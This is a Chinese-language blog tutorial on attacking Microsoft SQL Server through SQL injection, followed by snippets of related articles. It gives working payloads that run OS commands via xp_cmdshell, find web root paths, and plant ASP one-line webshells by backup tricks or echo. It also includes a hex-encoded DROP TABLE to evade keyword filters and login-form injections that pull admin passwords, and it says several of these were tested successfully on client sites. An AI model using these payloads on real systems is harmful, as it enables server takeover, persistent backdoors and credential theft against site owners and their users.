深入分析SQLServer注入技巧

SQLServer注入技巧

一、对于SA权限的用户执行命令,如何获取更快捷的获取结果?

有显示位
无显示位
其实这里的关键并不是有无显示位。exec master..xp_cmdshell 'systeminfo'生成的数据写进一张表的时候,会产生很多行。而我们要做的就是如何很多行通过显示位、或者报错语句一次性爆出来,这里的关键就是多行合一。

方法①

BEGIN
     IF EXISTS(select table_name from information_schema.tables where table_name='test_1')drop table test_1;
     IF EXISTS(select table_name from information_schema.tables where table_name='test_2')drop table test_2;
     create TABLE test_1([output][varchar](1000));
     insert test_1 exec master.dbo.xp_cmdshell 'ipconfig /all';
     DECLARE @result varchar(8000)
     SET @result='~'
     SELECT @result=@result+' '+output from test_1 where output>' '
     SELECT @result AS result INTO test_2;
     SELECT convert(int,(select result from test_2));
END;

解析:

这里6-9句的意思是申明一个@result的临时变量;
设置初始值为’~’;将test_1中的数据数据依次取出来,迭代条件是output>’ ‘,并组合成新的字符串,字符串之间用空格隔开最后复制给@result;
然后将@result设置一个别名,然后插入test_2中。
最后报错回显
PS:
mssql英文字母比较大小不区分大小写
mssql字符串比较大小和C语言中的str_cmp()一样的道理
方法②(注入点测试成功、测试平台SQL Server2008- 10.0.1600.22 (X64)

报错:AND (SELECT * FROM test_1 FOR XML PATH(''))=1--
显示:UNION SELECT 1,(SELECT * FROM test_1 FOR XML PATH(''))--

二、如何快速寻找网站目录(SA用户)

SA用户被降权
SA用户未被降权
这里区分降权与非降权是有道理的,如果没有被降权。那么权限很高就可以读取某些保存在本机的配置了,如果权限低一点的话,可以使用dir命令查找。

方法①(被降权:–亲测成功):

CREATE TABLE test_1([output][varchar](1000));
INSERT test_1 EXEC master.dbo.xp_cmdshell 'dir /s d:\web.config ';
AND (SELECT * FROM test_1 FOR XML PATH(''))=1;
 
方法②(未被降权–system–亲测成功):

CREATE TABLE test_1([output][varchar](1000));
INSERT test_1 EXEC master.dbo.xp_cmdshell 'cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root ';
AND (SELECT * FROM test_1 FOR XML PATH(''))=1;

 
方法③(sa+system权限+IIS7.0+IIS7.5):

%systemroot%/system32/inetsrv/appcmd.exe list site ——列出网站列表
%systemroot%\system32\inetsrv\appcmd.exe list vdir ——列出网站物理路径

PS:
%systemroot%代表c:\windows\

三、如何利用注入点getshell

方法①(差异备份)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试

IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;
backup database XFData to disk = 'D:\WebRoot\asp.bak';
create table [dbo].[test_tmp] ([cmd] [image]);
insert into  test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database XFData to disk='D:\WebRoot\asp.asp' WITH DIFFERENTIAL,FORMAT;

 
方法②(减小体积)–客户端亲测成功–并未要求权限,可以在非sa权限的注入点测试

IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;
alter database XFData set RECOVERY FULL;
create table  test_tmp  (a image);
backup log XFData to disk = 'D:\WebRoot\asp.bak' with init;
insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);
backup log XFData to disk = 'D:\webroot\123.asp'

PS:
如果不能备份,很有可能是访问权限的问题。可以切换目录尝试
如果表存在,也不能成功;所以先判断表是否存在,如果存在就删除。
方法③(echo 输出一句话木马)–sa权限+当前用户写权限–亲测成功

echo ^<%eval request("pass")%^>>D:\%D1%A7%B7%D6%CF%B5%CD%B3\WebRoot\update.asp

 

PS:
这里由于是注入点,因此需要注意编码的问题。一般来说,网页的编码和数据库的编码是一致的(如果不一致~~~算我输)。这里我用了一个中文路径做说明。
四、如何避免使用select之类的关键字

方法①:十六进制混淆

;DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--

 
五、登录点的注入如何最快获取后台密码

1' HAVING 1=1-- #爆出表名

1' GROUP BY username HAVING 1=1--  # 爆出字段名

# User_Mess.Account

# User_Mess.PWD

1';select/**/convert(int,(select/**/top/**/1/**/Account/**/from/**/User_Mess))--                                                          
1';select/**/convert(int,(select/**/top/**/1/**/PWD/**/from/**/User_Mess/**/where/**/Account='admin'))--

 
六、结语

这篇文章是很久以前整理的,有些地方可能有不对之处,希望大家能够指出

时间: 2024-10-07 15:28:02

深入分析SQLServer注入技巧的相关文章

桂林老兵的SQLSERVER高级注入技巧

server|sqlserver|高级|技巧 现在将老兵本人多年的SQLSERVER注入高级技巧奉献给支持老兵的朋友: 前言:即是高级技巧,其它基本的注入方法就不详述了.看不懂可查本站的注入基础文章.为了更好的用好注入,建议大家看看本站的SQL语法相关文章 [获取全部数据库名]select name from master.dbo.sysdatabases where dbid=7 //dbid的值为7以上都是用户数据库 [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名]

桂林老兵的SQLSERVER高级注入技巧 (摘)

server|sqlserver|高级|技巧  现在将老兵本人多年的SQLSERVER注入高级技巧奉献给支持老兵的朋友: 前言:即是高级技巧,其它基本的注入方法就不详述了.看不懂可查本站的注入基础文章.为了更好的用好注入,建议大家看看本站的SQL语法相关文章 [获取全部数据库名]select name from master.dbo.sysdatabases where dbid=7 //dbid的值为7以上都是用户数据库 [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名

注意那些容易被忽略的SQL注入技巧

下面我要谈到一些Sqlserver新的Bug(注入),这些都是从长期的工作中总结出来的经验,现在拿出来与大家一起分享,希望能够对大家有所帮助. 1.关于Openrowset和Opendatasource 可能这个技巧早有人已经会了,就是利用openrowset发送本地命令.通常我们的用法是(包括MSDN的列子)如下: 以下是代码片段:select * from openrowset('sqloledb','myserver';'sa';'','select * from table') 可见(即

ASP常见注入技巧

学习一下注入技巧也未尝不是件好事,知己知彼嘛.可以更有效的防止注入,让网站更加安全 1.判断是否有注入 ;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user>0 3.注入参数是字符 'and [查询条件] and ''=' 4.搜索时没过滤参数的 'and [查询条件] and '%25'=' 5.判断数据库系统 ;and (select count(*) from sysobjects)>0 mssql ;and (select count(*) from m

鲜为人知的SQL注入技巧

技巧|sql注入 1.关于Openrowset和Opendatasource2.关于Msdasql两次请求的问题3.可怕的后门        下面我要谈到一些Sqlserver新的Bug,虽然本人经过长时间的努力,当然也有点幸运的 成分在内,才得以发现,不敢一个人独享,拿出来请大家鉴别. 1.关于Openrowset和Opendatasource 可能这个技巧早有人已经会了,就是利用openrowset发送本地命令.通常我们的用 法是(包括MSDN的列子)如下: select * from op

实战:全面了解SQLServer注入过程

想了解sql注入的过程和原理,网上找了些文章,讲得都比较肤浅,但是我知道有几款国内比较常用的注入工具,比如Domain3.5.NBSI3.0.啊D2.32.还有Pangolin.还有一些国外的.这里随便弄几个来研究一下就ok.这次用到的嗅探工具是sniffx专门嗅探http的数据包,功能不强大,但是足够这次活动的使用.本来想使用ethereal或wireshark,但是里面复制数据包内容老是把没有转码的16进制也复制了过来,有点麻烦.也就是说这两个工具用得不娴熟. [查询数据库信息] 本地没有找

SQLSERVER注入必殺技

server|sqlserver 必殺技成功條件:1.找到注入點2.數據庫為SQLSERVER3.IIS沒屏蔽錯誤提示 注:因必殺技是我研究N久的心得,經多次改良,成功率極高.請不要用於不合法用途上,否則後果自負. [N] = 第N個表ID=1 and (Select top 1 name from(Select top [N] id,name from sysobjects where xtype=char(85)) T order by id desc)>1 [T] = 表名[N] = 第N

Javascript注入技巧_javascript技巧

作者: kostis90gr 翻译: 黯魂[S.S.T] 本文已发表于<黑客防线>6月刊,版权属于<黑客防线>及脚本安全小组,转载请保持文章完整性,谢谢 :) 这份指南仅仅是出于报告目的,如果任何人把它用于违法目的,我不负责任. 通过使用javascript注入,用户不用关闭网站或者把页面保存在他的PC上就可以改变网站中的内容.这是由他的浏览器的地址栏完成的. 命令的语法看上去像这样: Copy code javascrit:alert(#command#) 比方说如果你想看到在网

请注意那些容易被忽略的SQL注入技巧_网络安全

下面我要谈到一些Sqlserver新的Bug,虽然本人经过长时间的努力,当然也有点幸运的成分在内,才得以发现,不敢一个人独享,拿出来请大家鉴别.  1.关于Openrowset和Opendatasource  可能这个技巧早有人已经会了,就是利用openrowset发送本地命令.通常我们的用法是(包括MSDN的列子)如下:  select * from openrowset('sqloledb','myserver';'sa';'','select * from  table')  可见(即使从